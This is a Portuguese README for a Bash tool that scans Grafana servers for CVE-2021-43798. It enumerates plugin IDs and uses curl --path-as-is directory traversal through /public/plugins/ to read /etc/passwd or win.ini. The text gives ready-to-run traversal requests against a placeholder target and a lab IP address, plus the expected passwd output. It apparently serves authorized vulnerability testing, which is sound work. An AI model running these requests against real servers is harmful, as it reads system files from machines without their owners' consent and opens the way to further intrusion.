Scanner baseado em Bash que enumera IDs de plugins do Grafana e testa a travessia de diretórios da CVE-2021-43798 tentando ler /etc/passwd ou win.ini em instâncias vulneráveis.
Uma pequena ferramenta baseada em Bash para testar instâncias do Grafana para CVE-2021-43798, uma vulnerabilidade de directory traversal que afeta versões vulneráveis do Grafana.
A ferramenta enumera IDs de plugins do Grafana e usa curl --path-as-is para testar se o directory traversal consegue acessar um arquivo conhecido.
Apenas para testes de segurança autorizados e ambientes de laboratório.
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh: Testa o acesso a C:\Windows\win.inigrafana-linux.sh: Testa o acesso a /etc/passwdplugins.txt: Uma wordlist contendo IDs de plugins do Grafana usados durante a enumeração.curlVerifique se o curl está instalado:
curl --version
Torne os scripts executáveis:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798 é uma vulnerabilidade de directory traversal no Grafana.
O endpoint vulnerável é baseado em:
/public/plugins/<plugin-id>/
A vulnerabilidade pode permitir traversal para fora do diretório de plugins pretendido.
A parte importante ao testar com curl é:
--path-as-is
Sem esta opção, o cliente pode normalizar o caminho antes de enviá-lo ao servidor.
O scanner Windows tenta recuperar:
C:\Windows\win.ini
O caminho é representado na requisição HTTP como:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Exemplo:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
Você pode testar um plugin manualmente com:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Para o alvo do laboratório:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Uma resposta bem-sucedida deve conter o conteúdo do arquivo INI do Windows.
O scanner Linux tenta recuperar:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Exemplo genérico:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Para o alvo do laboratório:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Uma resposta bem-sucedida no Linux deve conter entradas semelhantes a:
root:x:0:0:root:/root:/bin/bash
Ambos os scanners usam os mesmos argumentos básicos:
u, --url : URL base do Grafanaw, --wordlist : Wordlist de pluginsf, --file : Arquivo a testarh, --help : Mostrar ajuda